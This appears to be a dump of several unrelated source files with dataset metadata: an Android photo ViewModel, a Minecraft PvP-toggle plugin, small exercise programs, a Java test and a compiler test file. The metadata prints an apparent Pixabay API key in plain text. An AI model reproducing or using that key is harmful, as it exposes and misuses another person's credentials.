// List<PhotoItem> list= new Gson().fromJson(response,Pixabay.class).getHits();
// photoListLive.setValue(list);
// callback.onSuccess(list);
// Log.d("did", "onResponse: ss"+list.size());
// Log.d("did", "onSuccess:ssss "+response);
// }
// },
// new Response.ErrorListener() {
// @Override
// public void onErrorResponse(VolleyError error) {
// Log.d("did", "onErrorResponse: "+error.toString());
//
// }
// }
// );
// VolleySingleton.getINSTANCE(getApplication()).getQueue().add(stringRequest);
// }
public void uploadData() {
if (!savedStateHandle.contains("HAVADATA")) {
return;
}
Set<String> set = savedStateHandle.keys();
Map<Integer, Integer> upList = new HashMap<>();
for (String s : set) {
String key = s;
String value = savedStateHandle.getLiveData(key).getValue().toString();
Log.d("SavedStateHandle", "onResume: " + key + ":" + value);
switch (key) {
case "UID":
case "username":
case "HAVADATA":
case "NEEDLOAD":
break;
default:
upList.put(Integer.parseInt(key), Integer.parseInt(value));
break;
}
}
for (Map.Entry<Integer, Integer> entry : upList.entrySet()) {
StringRequest stringRequest = new StringRequest(
StringRequest.Method.GET,
MainActivity.ServerPath + "pic/addLike?pid=" + entry.getKey() + "&user_id=" + entry.getValue(),
response -> {
JsonData jsonData = new Gson().fromJson(response, JsonData.class);
String result = jsonData.getMsg();
Log.d("addLike", "onPause: " + result);
},
error -> {
Log.d("addLike", "onPause: ");
}
);
volleySingleton.getQueue().add(stringRequest);
}
deleteAll();
}
}
|
UTF-8
|
Java
| 6,449 |
java
|
PicViewModel.java
|
Java
|
[
{
"context": " case \"UID\":\n case \"username\":\n case \"NEEDLOAD\":\n ",
"end": 2914,
"score": 0.9981095194816589,
"start": 2906,
"tag": "USERNAME",
"value": "username"
},
{
"context": ",\n// \"https://pixabay.com/api/?key=14808073-70a71eb74f498799436435a14&q=flower\",\n// new Response.Listene",
"end": 3924,
"score": 0.999696671962738,
"start": 3890,
"tag": "KEY",
"value": "14808073-70a71eb74f498799436435a14"
},
{
"context": " case \"UID\":\n case \"username\":\n case \"HAVADATA\":\n ",
"end": 5387,
"score": 0.9993602633476257,
"start": 5379,
"tag": "USERNAME",
"value": "username"
},
{
"context": " case \"username\":\n case \"HAVADATA\":\n case \"NEEDLOAD\":\n ",
"end": 5420,
"score": 0.98774254322052,
"start": 5412,
"tag": "USERNAME",
"value": "HAVADATA"
}
] | null |
[] |
package com.example.simplebottomnav.viewmodel;
import android.app.Application;
import android.content.Context;
import android.content.SharedPreferences;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.lifecycle.AndroidViewModel;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.SavedStateHandle;
import com.android.volley.toolbox.StringRequest;
import com.example.simplebottomnav.MainActivity;
import com.example.simplebottomnav.bean.JsonData;
import com.example.simplebottomnav.bean.Picture;
import com.example.simplebottomnav.repository.LoadPic;
import com.example.simplebottomnav.repository.VolleySingleton;
import com.google.gson.Gson;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class PicViewModel extends AndroidViewModel {
// TODO: Implement the ViewModel
LoadPic loadPic;
boolean isToScrollTop = true;
SavedStateHandle savedStateHandle;
VolleySingleton volleySingleton;
public PicViewModel(@NonNull Application application, SavedStateHandle handle) {
super(application);
volleySingleton = VolleySingleton.getINSTANCE(application);
loadPic = new LoadPic(application.getApplicationContext());
if (!handle.contains("NEEDLOAD")) {
SharedPreferences sharedPreferences = getApplication().getSharedPreferences(MainActivity.login_shpName, Context.MODE_PRIVATE);
handle.set("UID", sharedPreferences.getInt("UID", 0));
handle.set("username", sharedPreferences.getString("username", null));
handle.set("NEEDLOAD", true);
}
this.savedStateHandle = handle;
}
public LiveData<List<Picture>> getPhotoListLive() {
return loadPic.getPhotoLiveData();
}
/*
获取savedStateHandle
*/
public SavedStateHandle getSavedStateHandle() {
return savedStateHandle;
}
/*
savedStateHandle保存数据
*/
public void save(String str, String content) {
savedStateHandle.set(str, content);
}
/*
把savedStateHandle保存到sharePreferences里
*/
public void saveAll() {
SharedPreferences sharedPreferences = getApplication().getSharedPreferences(MainActivity.login_shpName, Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.clear();
Set<String> set = savedStateHandle.keys();
for (String s : set) {
String key = s;
editor.putString(key, (String) savedStateHandle.getLiveData(key).getValue());
}
editor.apply();
}
public void deleteAll() {
Set<String> set = savedStateHandle.keys();
List<String> list = new ArrayList();
for (String s : set) {
String key = s;
switch (key) {
case "UID":
case "username":
case "NEEDLOAD":
break;
default:
list.add(key);
break;
}
}
for (int i = 0; i < list.size(); i++) {
savedStateHandle.remove(list.get(i));
}
}
public void setPhotoListLive(int type, String key) {
loadPic.setPhotoLiveData(type, key);
}
public void setToScrollTop(boolean toScrollTop) {
isToScrollTop = toScrollTop;
}
public boolean getIsToScrollTop() {
return isToScrollTop;
}
public void resetData() {
isToScrollTop = true;
loadPic.resetQuery();
}
public LiveData<Integer> getDataState() {
return loadPic.getLoadState();
}
// public void fetchData(final VolleyCallBack callback){
// StringRequest stringRequest=new StringRequest(
// StringRequest.Method.GET,
// "https://pixabay.com/api/?key=<KEY>&q=flower",
// new Response.Listener<String>() {
// @Override
// public void onResponse(String response) {
// List<PhotoItem> list= new Gson().fromJson(response,Pixabay.class).getHits();
// photoListLive.setValue(list);
// callback.onSuccess(list);
// Log.d("did", "onResponse: ss"+list.size());
// Log.d("did", "onSuccess:ssss "+response);
// }
// },
// new Response.ErrorListener() {
// @Override
// public void onErrorResponse(VolleyError error) {
// Log.d("did", "onErrorResponse: "+error.toString());
//
// }
// }
// );
// VolleySingleton.getINSTANCE(getApplication()).getQueue().add(stringRequest);
// }
public void uploadData() {
if (!savedStateHandle.contains("HAVADATA")) {
return;
}
Set<String> set = savedStateHandle.keys();
Map<Integer, Integer> upList = new HashMap<>();
for (String s : set) {
String key = s;
String value = savedStateHandle.getLiveData(key).getValue().toString();
Log.d("SavedStateHandle", "onResume: " + key + ":" + value);
switch (key) {
case "UID":
case "username":
case "HAVADATA":
case "NEEDLOAD":
break;
default:
upList.put(Integer.parseInt(key), Integer.parseInt(value));
break;
}
}
for (Map.Entry<Integer, Integer> entry : upList.entrySet()) {
StringRequest stringRequest = new StringRequest(
StringRequest.Method.GET,
MainActivity.ServerPath + "pic/addLike?pid=" + entry.getKey() + "&user_id=" + entry.getValue(),
response -> {
JsonData jsonData = new Gson().fromJson(response, JsonData.class);
String result = jsonData.getMsg();
Log.d("addLike", "onPause: " + result);
},
error -> {
Log.d("addLike", "onPause: ");
}
);
volleySingleton.getQueue().add(stringRequest);
}
deleteAll();
}
}
| 6,420 | 0.575541 | 0.570873 | 190 | 32.826317 | 26.653456 | 138 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.589474 | false | false |
8
|
78e176c9010fd676b68c020077033808a02f58a1
| 15,427,522,553,270 |
3768258de9f1d574af3300761021b9a6a8f9d171
|
/src/main/java/com/dpkgsoft/temppvp/TempPVP.java
|
751f7f61fae0b70c75c5aee19660a17702d096da
|
[
"Apache-2.0"
] |
permissive
|
dpkgsoft/temppvp
|
https://github.com/dpkgsoft/temppvp
|
748db67c4b7bd5f56d5194fa86b96e33ebc870af
|
48c4f16962a92dd995b2336a318949b710dda75d
|
refs/heads/master
| 2023-02-10T12:01:41.089000 | 2021-01-12T06:31:42 | 2021-01-12T06:31:42 | 328,889,175 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.dpkgsoft.temppvp;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.configuration.file.FileConfiguration;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.EntityDamageByEntityEvent;
import org.bukkit.plugin.java.JavaPlugin;
/**
* @author @mraliscoder
*/
public class TempPVP extends JavaPlugin implements Listener {
/**
* If pvp is now enable
*/
boolean pvp = false;
/**
* Configuration
*/
FileConfiguration config;
/**
* Things that happens on enable
*/
@Override
public void onEnable() {
saveDefaultConfig();
config = getConfig();
Bukkit.getPluginManager().registerEvents(this, this);
pvp = config.getBoolean("pvp", false);
}
/**
* Things that happens on /pvp
* @param sender Bukkit
* @param command Bukkit
* @param label Bukkit
* @param arg Bukkit
* @return boolean
*/
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] arg) {
if (label.equalsIgnoreCase("pvp")) {
if (arg.length == 1) {
if (sender.hasPermission("pvp.modify")) {
if (arg[0].equalsIgnoreCase("on")) {
pvp = true;
config.set("pvp", true);
saveConfig();
sender.sendMessage(color(config.getString("messages.enable")));
return true;
}
if (arg[0].equalsIgnoreCase("off")) {
pvp = false;
config.set("pvp", false);
saveConfig();
sender.sendMessage(color(config.getString("messages.disable")));
return true;
}
} else {
sender.sendMessage(color(config.getString("messages.permissions")));
return true;
}
if (arg[0].equalsIgnoreCase("reload") && sender.hasPermission("pvp.reload")) {
reloadConfig();
config = getConfig();
sender.sendMessage(color(config.getString("messages.reload")));
return true;
}
}
}
return false;
}
/**
* Things that happens on PVP
* If player is damaging other player and pvp is off, event cancels
*
* @param e event
*/
@EventHandler
public void onPvp(EntityDamageByEntityEvent e) {
if (e.getEntity() instanceof Player && e.getDamager() instanceof Player) {
if (!pvp) {
e.setCancelled(true);
e.getDamager().sendMessage(color(config.getString("messages.damage")));
}
}
}
/**
* Colorize messages
* @param msg original message with '&'
* @return colored message
*/
public static String color(String msg) {
return ChatColor.translateAlternateColorCodes('&', msg);
}
}
|
UTF-8
|
Java
| 3,430 |
java
|
TempPVP.java
|
Java
|
[
{
"context": ".bukkit.plugin.java.JavaPlugin;\r\n\r\n/**\r\n * @author @mraliscoder\r\n */\r\n\r\npublic class TempPVP extends JavaPlugin i",
"end": 522,
"score": 0.9996739625930786,
"start": 510,
"tag": "USERNAME",
"value": "@mraliscoder"
}
] | null |
[] |
package com.dpkgsoft.temppvp;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.configuration.file.FileConfiguration;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.EntityDamageByEntityEvent;
import org.bukkit.plugin.java.JavaPlugin;
/**
* @author @mraliscoder
*/
public class TempPVP extends JavaPlugin implements Listener {
/**
* If pvp is now enable
*/
boolean pvp = false;
/**
* Configuration
*/
FileConfiguration config;
/**
* Things that happens on enable
*/
@Override
public void onEnable() {
saveDefaultConfig();
config = getConfig();
Bukkit.getPluginManager().registerEvents(this, this);
pvp = config.getBoolean("pvp", false);
}
/**
* Things that happens on /pvp
* @param sender Bukkit
* @param command Bukkit
* @param label Bukkit
* @param arg Bukkit
* @return boolean
*/
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] arg) {
if (label.equalsIgnoreCase("pvp")) {
if (arg.length == 1) {
if (sender.hasPermission("pvp.modify")) {
if (arg[0].equalsIgnoreCase("on")) {
pvp = true;
config.set("pvp", true);
saveConfig();
sender.sendMessage(color(config.getString("messages.enable")));
return true;
}
if (arg[0].equalsIgnoreCase("off")) {
pvp = false;
config.set("pvp", false);
saveConfig();
sender.sendMessage(color(config.getString("messages.disable")));
return true;
}
} else {
sender.sendMessage(color(config.getString("messages.permissions")));
return true;
}
if (arg[0].equalsIgnoreCase("reload") && sender.hasPermission("pvp.reload")) {
reloadConfig();
config = getConfig();
sender.sendMessage(color(config.getString("messages.reload")));
return true;
}
}
}
return false;
}
/**
* Things that happens on PVP
* If player is damaging other player and pvp is off, event cancels
*
* @param e event
*/
@EventHandler
public void onPvp(EntityDamageByEntityEvent e) {
if (e.getEntity() instanceof Player && e.getDamager() instanceof Player) {
if (!pvp) {
e.setCancelled(true);
e.getDamager().sendMessage(color(config.getString("messages.damage")));
}
}
}
/**
* Colorize messages
* @param msg original message with '&'
* @return colored message
*/
public static String color(String msg) {
return ChatColor.translateAlternateColorCodes('&', msg);
}
}
| 3,430 | 0.531778 | 0.530612 | 108 | 29.75926 | 23.991076 | 97 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.435185 | false | false |
8
|
23052130a56ce6eb0745c4bbfd2c282cd9d20540
| 22,033,182,252,733 |
588ceefeadc8d8f3bb2c005217a7157ca9fa3c0e
|
/Data_Structures/PermutationArrays482.java
|
5f9b8dfb31bb5b2cc2db81fbc2b79a78bcef5754
|
[] |
no_license
|
HodaHisham/UVa
|
https://github.com/HodaHisham/UVa
|
2a0e27a3ac526bde938d7a5f690538b13b2f8697
|
1a9a37d47787a7a448c8234d6c75b8ddcb09316c
|
refs/heads/master
| 2020-08-28T23:39:26.821000 | 2017-07-31T23:40:48 | 2017-07-31T23:40:48 | 94,383,203 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package DataStructures;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.util.StringTokenizer;
public class PermutationArrays482 {
public static void main(String[] args) throws Exception
{
Scanner bf = new Scanner(System.in);
PrintWriter out = new PrintWriter(System.out);
int TC = bf.nextInt();
while(TC-->0){
bf.nextLine();
StringTokenizer s = new StringTokenizer(bf.nextLine());
StringTokenizer arr = new StringTokenizer(bf.nextLine());
int [] a = new int[s.countTokens()];
String [] p = new String[arr.countTokens()];
String [] res = new String[s.countTokens()];
for (int i = 0; i < a.length; i++)
{
a[i] = Integer.parseInt(s.nextToken())-1;
p[i] = arr.nextToken();
}
for (int i = 0; i < a.length; i++)
{
res[a[i]] = p[i];
}
for(String st : res)
out.println(st);
if(TC > 0)
out.println();
}
out.flush();
out.close();
}
static class Scanner {
StringTokenizer st;
BufferedReader br;
public Scanner(InputStream s)
{
br = new BufferedReader(new InputStreamReader(s));
}
public Scanner(FileReader fileReader)
{
br = new BufferedReader(fileReader);
}
public String next() throws IOException
{
while (st == null || !st.hasMoreTokens())
st = new StringTokenizer(br.readLine());
return st.nextToken();
}
public int nextInt() throws IOException
{
return Integer.parseInt(next());
}
public long nextLong() throws IOException
{
return Long.parseLong(next());
}
public String nextLine() throws IOException
{
return br.readLine();
}
public boolean ready() throws IOException
{
return br.ready();
}
}
}
|
UTF-8
|
Java
| 1,814 |
java
|
PermutationArrays482.java
|
Java
|
[] | null |
[] |
package DataStructures;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.util.StringTokenizer;
public class PermutationArrays482 {
public static void main(String[] args) throws Exception
{
Scanner bf = new Scanner(System.in);
PrintWriter out = new PrintWriter(System.out);
int TC = bf.nextInt();
while(TC-->0){
bf.nextLine();
StringTokenizer s = new StringTokenizer(bf.nextLine());
StringTokenizer arr = new StringTokenizer(bf.nextLine());
int [] a = new int[s.countTokens()];
String [] p = new String[arr.countTokens()];
String [] res = new String[s.countTokens()];
for (int i = 0; i < a.length; i++)
{
a[i] = Integer.parseInt(s.nextToken())-1;
p[i] = arr.nextToken();
}
for (int i = 0; i < a.length; i++)
{
res[a[i]] = p[i];
}
for(String st : res)
out.println(st);
if(TC > 0)
out.println();
}
out.flush();
out.close();
}
static class Scanner {
StringTokenizer st;
BufferedReader br;
public Scanner(InputStream s)
{
br = new BufferedReader(new InputStreamReader(s));
}
public Scanner(FileReader fileReader)
{
br = new BufferedReader(fileReader);
}
public String next() throws IOException
{
while (st == null || !st.hasMoreTokens())
st = new StringTokenizer(br.readLine());
return st.nextToken();
}
public int nextInt() throws IOException
{
return Integer.parseInt(next());
}
public long nextLong() throws IOException
{
return Long.parseLong(next());
}
public String nextLine() throws IOException
{
return br.readLine();
}
public boolean ready() throws IOException
{
return br.ready();
}
}
}
| 1,814 | 0.651047 | 0.646637 | 85 | 20.352942 | 18.172186 | 62 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.223529 | false | false |
8
|
32b69d17fc48bb01e1429942297dbf054570df59
| 33,225,867,026,658 |
4ecd4a6ae83bab0607bbd62466ad57183087bbbe
|
/src/w3resource/conditionalStatement/Exercise_2.java
|
f26b5492e43c688ac9bb55c05ade8cfcc4e578f6
|
[] |
no_license
|
ivenpoker/Learning-Java
|
https://github.com/ivenpoker/Learning-Java
|
1c4c3430ce8ae3925daf5305911312e55b46d335
|
5393633286e877992839b5ec8f5084dd00c87e83
|
refs/heads/master
| 2021-06-21T10:26:56.288000 | 2021-02-14T19:42:34 | 2021-02-14T19:42:34 | 190,705,478 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package w3resource.conditionalStatement;
// ###########################################################################################
// # #
// # Program Purpose: Finds the root of a quadratic equation. #
// # Program Author : Happi Yvan <ivensteinpoker@gmail.com> #
// # Creation Date : August 11, 2020 #
// # #
// ###########################################################################################
import java.util.InputMismatchException;
import java.util.Scanner;
public class Exercise_2 {
private static final Scanner input = new Scanner(System.in);
private static int obtainEquationVal(String inputMess) {
boolean inputValid = false;
int userInput = 0;
while (!inputValid) {
try {
System.out.print(inputMess);
userInput = input.nextInt();
inputValid = true;
} catch (InputMismatchException iMe) {
System.err.printf("[invalid_input]: %s%n", iMe.getMessage());
input.nextLine(); // clear input stream.
} catch (Exception exc) {
System.err.printf("[MAIN_EXCEPTION]: %s%n", exc.getMessage());
}
}
return userInput;
}
public static void main(String[] args) {
System.out.printf("[PROGRAM: Solves the root of the quadratic equation: ax^2 + bx + c = 0]%n%n");
int aVal = obtainEquationVal("Enter the value of 'a': ");
int bVal = obtainEquationVal("Enter the value of 'b': ");
int cVal = obtainEquationVal("Enter the value of 'c': ");
double discriminant = Math.pow(bVal, 2) - (4 * aVal * cVal);
if (discriminant < 0) {
System.out.printf("%n[RESULTS]: Quadratic equation has complex roots%n");
} else{
double rootA = (-bVal - Math.sqrt(discriminant)) / (2 * aVal);
double rootB = (-bVal + Math.sqrt(discriminant)) / (2 * aVal);
System.out.printf("%n[RESULTS]: root#1: %.8f | root#2: %.8f%n", rootA, rootB);
}
}
}
|
UTF-8
|
Java
| 2,358 |
java
|
Exercise_2.java
|
Java
|
[
{
"context": " #\n// # Program Author : Happi Yvan <ivensteinpoker@gmail.com> ",
"end": 362,
"score": 0.9998883008956909,
"start": 352,
"tag": "NAME",
"value": "Happi Yvan"
},
{
"context": " #\n// # Program Author : Happi Yvan <ivensteinpoker@gmail.com> #\n// # Creation",
"end": 388,
"score": 0.9999236464500427,
"start": 364,
"tag": "EMAIL",
"value": "ivensteinpoker@gmail.com"
}
] | null |
[] |
package w3resource.conditionalStatement;
// ###########################################################################################
// # #
// # Program Purpose: Finds the root of a quadratic equation. #
// # Program Author : <NAME> <<EMAIL>> #
// # Creation Date : August 11, 2020 #
// # #
// ###########################################################################################
import java.util.InputMismatchException;
import java.util.Scanner;
public class Exercise_2 {
private static final Scanner input = new Scanner(System.in);
private static int obtainEquationVal(String inputMess) {
boolean inputValid = false;
int userInput = 0;
while (!inputValid) {
try {
System.out.print(inputMess);
userInput = input.nextInt();
inputValid = true;
} catch (InputMismatchException iMe) {
System.err.printf("[invalid_input]: %s%n", iMe.getMessage());
input.nextLine(); // clear input stream.
} catch (Exception exc) {
System.err.printf("[MAIN_EXCEPTION]: %s%n", exc.getMessage());
}
}
return userInput;
}
public static void main(String[] args) {
System.out.printf("[PROGRAM: Solves the root of the quadratic equation: ax^2 + bx + c = 0]%n%n");
int aVal = obtainEquationVal("Enter the value of 'a': ");
int bVal = obtainEquationVal("Enter the value of 'b': ");
int cVal = obtainEquationVal("Enter the value of 'c': ");
double discriminant = Math.pow(bVal, 2) - (4 * aVal * cVal);
if (discriminant < 0) {
System.out.printf("%n[RESULTS]: Quadratic equation has complex roots%n");
} else{
double rootA = (-bVal - Math.sqrt(discriminant)) / (2 * aVal);
double rootB = (-bVal + Math.sqrt(discriminant)) / (2 * aVal);
System.out.printf("%n[RESULTS]: root#1: %.8f | root#2: %.8f%n", rootA, rootB);
}
}
}
| 2,337 | 0.45335 | 0.444869 | 58 | 39.603447 | 34.75428 | 105 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false |
8
|
514956e334143a9eb14bce4e7ec4f6befcab9ac4
| 13,597,866,484,194 |
89d0b429e074ceff9cdf97e81212c9e7c3742376
|
/src/main/java/concesionario/datos/CitaTaller.java
|
761fd6fe7d278ff520a5d6b6b519dc45816692ed
|
[
"Apache-2.0"
] |
permissive
|
javimartin22/grupo07spq
|
https://github.com/javimartin22/grupo07spq
|
acf28351e1f8826f40f08f8095b1712c0ff043bd
|
ef43eae55a6494825f33222eaf68ea078d27153e
|
refs/heads/master
| 2021-07-20T09:08:00.421000 | 2020-05-19T14:32:07 | 2020-05-19T14:32:07 | 250,836,198 | 0 | 1 | null | false | 2021-06-15T16:05:01 | 2020-03-28T15:58:41 | 2020-05-19T14:32:10 | 2021-06-15T16:04:59 | 1,187 | 0 | 1 | 3 |
Java
| false | false |
package concesionario.datos;
/**
* Objeto CitaTaller
*/
public class CitaTaller {
private String nombre;
private String dniCliente;
private String fecha;
private String hora;
private String comercial;
private String problema;
/**
* Construcctor Vacio de la clase CitaTaller.
*/
public CitaTaller() {
}
/**
* Constructor de la clase CitaTaller.
* @param nombre
* @param dniCliente
* @param fecha
* @param hora
* @param comercial
* @param problema
*/
public CitaTaller(String nombre, String dniCliente, String fecha, String hora, String comercial, String problema) {
super();
this.nombre = nombre;
this.dniCliente = dniCliente;
this.fecha = fecha;
this.hora = hora;
this.comercial = comercial;
this.problema = problema;
}
/**
* Metodo para la obtencion del nombre.
* @return nombre (Nombre)
*/
public String getNombre() {
return nombre;
}
/**
* Metodo para la modificacion del nombre.
* @param nombre (Nombre Cliente)
*/
public void setNombre(String nombre) {
this.nombre = nombre;
}
/**
* Metodo para la obtencion del DNI.
* @return dni (DNI Cliente)
*/
public String getDniCliente() {
return dniCliente;
}
/**
* Metodo para la modificacion del DNI.
* @param dniCliente (DNI Cliente)
*/
public void setDniCliente(String dniCliente) {
this.dniCliente = dniCliente;
}
/**
* Metodo para la obtencion de la Fecha.
* @return fecha (Fecha Seleccionada)
*/
public String getFecha() {
return fecha;
}
/**
* Metodo para la modificacion de la Fecha.
* @param fecha (Fecha Seleccionada)
*/
public void setFecha(String fecha) {
this.fecha = fecha;
}
/**
* Metodo para la obtencion de la Hora.
* @return hora (Hora Seleccionada)
*/
public String getHora() {
return hora;
}
/**
* Metodo para la modificacion de la Hora.
* @param hora (Hora Seleccionada)
*/
public void setHora(String hora) {
this.hora = hora;
}
/**
* Metodo para la obtencion del Nombre del Comercial.
* @return comercial (Nombre Comercial)
*/
public String getComercial() {
return comercial;
}
/**
* Metodo para la modificacion del Nombre del Comercial.
* @param comercial (Nombre Comercial)
*/
public void setComercial(String comercial) {
this.comercial = comercial;
}
/**
* Metodo para la obtencion del Problema del Cliente
* @return problema (Problema)
*/
public String getProblema() {
return problema;
}
/**
* Metodo para la modificacion del Problema del Cliente
* @param problema (Problema)
*/
public void setProblema(String problema) {
this.problema = problema;
}
}
|
UTF-8
|
Java
| 2,737 |
java
|
CitaTaller.java
|
Java
|
[] | null |
[] |
package concesionario.datos;
/**
* Objeto CitaTaller
*/
public class CitaTaller {
private String nombre;
private String dniCliente;
private String fecha;
private String hora;
private String comercial;
private String problema;
/**
* Construcctor Vacio de la clase CitaTaller.
*/
public CitaTaller() {
}
/**
* Constructor de la clase CitaTaller.
* @param nombre
* @param dniCliente
* @param fecha
* @param hora
* @param comercial
* @param problema
*/
public CitaTaller(String nombre, String dniCliente, String fecha, String hora, String comercial, String problema) {
super();
this.nombre = nombre;
this.dniCliente = dniCliente;
this.fecha = fecha;
this.hora = hora;
this.comercial = comercial;
this.problema = problema;
}
/**
* Metodo para la obtencion del nombre.
* @return nombre (Nombre)
*/
public String getNombre() {
return nombre;
}
/**
* Metodo para la modificacion del nombre.
* @param nombre (Nombre Cliente)
*/
public void setNombre(String nombre) {
this.nombre = nombre;
}
/**
* Metodo para la obtencion del DNI.
* @return dni (DNI Cliente)
*/
public String getDniCliente() {
return dniCliente;
}
/**
* Metodo para la modificacion del DNI.
* @param dniCliente (DNI Cliente)
*/
public void setDniCliente(String dniCliente) {
this.dniCliente = dniCliente;
}
/**
* Metodo para la obtencion de la Fecha.
* @return fecha (Fecha Seleccionada)
*/
public String getFecha() {
return fecha;
}
/**
* Metodo para la modificacion de la Fecha.
* @param fecha (Fecha Seleccionada)
*/
public void setFecha(String fecha) {
this.fecha = fecha;
}
/**
* Metodo para la obtencion de la Hora.
* @return hora (Hora Seleccionada)
*/
public String getHora() {
return hora;
}
/**
* Metodo para la modificacion de la Hora.
* @param hora (Hora Seleccionada)
*/
public void setHora(String hora) {
this.hora = hora;
}
/**
* Metodo para la obtencion del Nombre del Comercial.
* @return comercial (Nombre Comercial)
*/
public String getComercial() {
return comercial;
}
/**
* Metodo para la modificacion del Nombre del Comercial.
* @param comercial (Nombre Comercial)
*/
public void setComercial(String comercial) {
this.comercial = comercial;
}
/**
* Metodo para la obtencion del Problema del Cliente
* @return problema (Problema)
*/
public String getProblema() {
return problema;
}
/**
* Metodo para la modificacion del Problema del Cliente
* @param problema (Problema)
*/
public void setProblema(String problema) {
this.problema = problema;
}
}
| 2,737 | 0.647059 | 0.647059 | 124 | 20.07258 | 17.988874 | 116 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.33871 | false | false |
8
|
c1cf1a0cfd128898f86161d744305df91e742800
| 15,925,738,765,663 |
5cc802a411ef8aa39e413901b46671c9d085fc9b
|
/repositories/jn/src/test/java/jn/JnTest.java
|
46927bd1c24cfbde55a29d060c8521dd0f49d290
|
[] |
no_license
|
cbdyzj/lib17
|
https://github.com/cbdyzj/lib17
|
c3a794ae8f436dea8a66d0404b68187ba61e9463
|
a1f93726f31139b93e5d64699df8d0513f4d3adf
|
refs/heads/master
| 2022-05-02T03:35:14.215000 | 2022-04-04T14:37:33 | 2022-04-04T14:37:55 | 139,983,529 | 2 | 0 | null | false | 2021-01-09T03:16:43 | 2018-07-06T12:42:18 | 2021-01-09T03:14:58 | 2021-01-09T03:16:20 | 317 | 2 | 0 | 0 |
Java
| false | false |
package jn;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class JnTest {
@Test
public void testFibonacci() {
var jn = new Jn();
for (int n = 1; n < 9; n++) {
var expected = jn.fibonacciJava(n);
assertEquals(expected, jn.fibonacciJni(n));
assertEquals(expected, jn.fibonacciJna(n));
}
}
}
|
UTF-8
|
Java
| 403 |
java
|
JnTest.java
|
Java
|
[] | null |
[] |
package jn;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class JnTest {
@Test
public void testFibonacci() {
var jn = new Jn();
for (int n = 1; n < 9; n++) {
var expected = jn.fibonacciJava(n);
assertEquals(expected, jn.fibonacciJni(n));
assertEquals(expected, jn.fibonacciJna(n));
}
}
}
| 403 | 0.578164 | 0.573201 | 18 | 21.388889 | 20.028143 | 55 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.611111 | false | false |
8
|
a628c290264afe3a929c623c4975c1f532897732
| 7,808,250,570,680 |
090cfdb3732887c292f0443a034c1b4e7b87338c
|
/tests/junit/MainTestForLookup.java
|
99634bb698a7fbfbd2ac3e09f2b032711f7f1926
|
[] |
no_license
|
Tetr4/MiniJava
|
https://github.com/Tetr4/MiniJava
|
62e3c708cfe66bbae33a552f511f9ad1451ebb9d
|
47fe17fa5d58747f0bb928887658abf5f98ecd73
|
refs/heads/master
| 2020-05-13T05:03:26.708000 | 2015-10-30T17:50:31 | 2015-10-30T17:50:31 | 38,459,591 | 3 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
class MainTest{
public static void main(String[] arg0){
}
}
class Fehlerfrei{
Integer a;
binteger b;
int c;
int[] d;
}
class FehlerDoppelteVariable{
Integer a;
Integer a;
}
class FehlerDoppelteKlasse{
}
class FehlerDoppelteKlasse{
}
class FehlerDoppelteMethode{
public int a(){
return 0;
}
public int a(){
return 0;
}
}
class KeinFehlerDoppelteMethode{
public int a(int a){
return 0;
}
public int a(int[] a){
return 0;
}
public int a(){
return 0;
}
}
|
UTF-8
|
Java
| 503 |
java
|
MainTestForLookup.java
|
Java
|
[] | null |
[] |
class MainTest{
public static void main(String[] arg0){
}
}
class Fehlerfrei{
Integer a;
binteger b;
int c;
int[] d;
}
class FehlerDoppelteVariable{
Integer a;
Integer a;
}
class FehlerDoppelteKlasse{
}
class FehlerDoppelteKlasse{
}
class FehlerDoppelteMethode{
public int a(){
return 0;
}
public int a(){
return 0;
}
}
class KeinFehlerDoppelteMethode{
public int a(int a){
return 0;
}
public int a(int[] a){
return 0;
}
public int a(){
return 0;
}
}
| 503 | 0.646123 | 0.634195 | 46 | 9.934783 | 10.618691 | 43 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.73913 | false | false |
8
|
5764bcd6fad78369dcff5b1eedef4cbade6c27f9
| 34,308,198,806,071 |
b115a0979acb42d42252b9febc5f25f1e4077993
|
/src/main/java/data/PublicationInfo.java
|
4086dc9b87cef775c468c2b977744005c99cff4f
|
[] |
no_license
|
adam987/publications-analyzer
|
https://github.com/adam987/publications-analyzer
|
3644470759c7164b9bc4fec9b3f8fa0f2f477b07
|
b78d66b36ed56b616711bf5e548ee06f0aac3004
|
refs/heads/master
| 2021-01-12T09:12:43.672000 | 2016-12-18T17:45:27 | 2016-12-18T17:45:27 | 76,797,630 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package data;
import java.nio.file.Path;
import java.util.LinkedList;
import java.util.List;
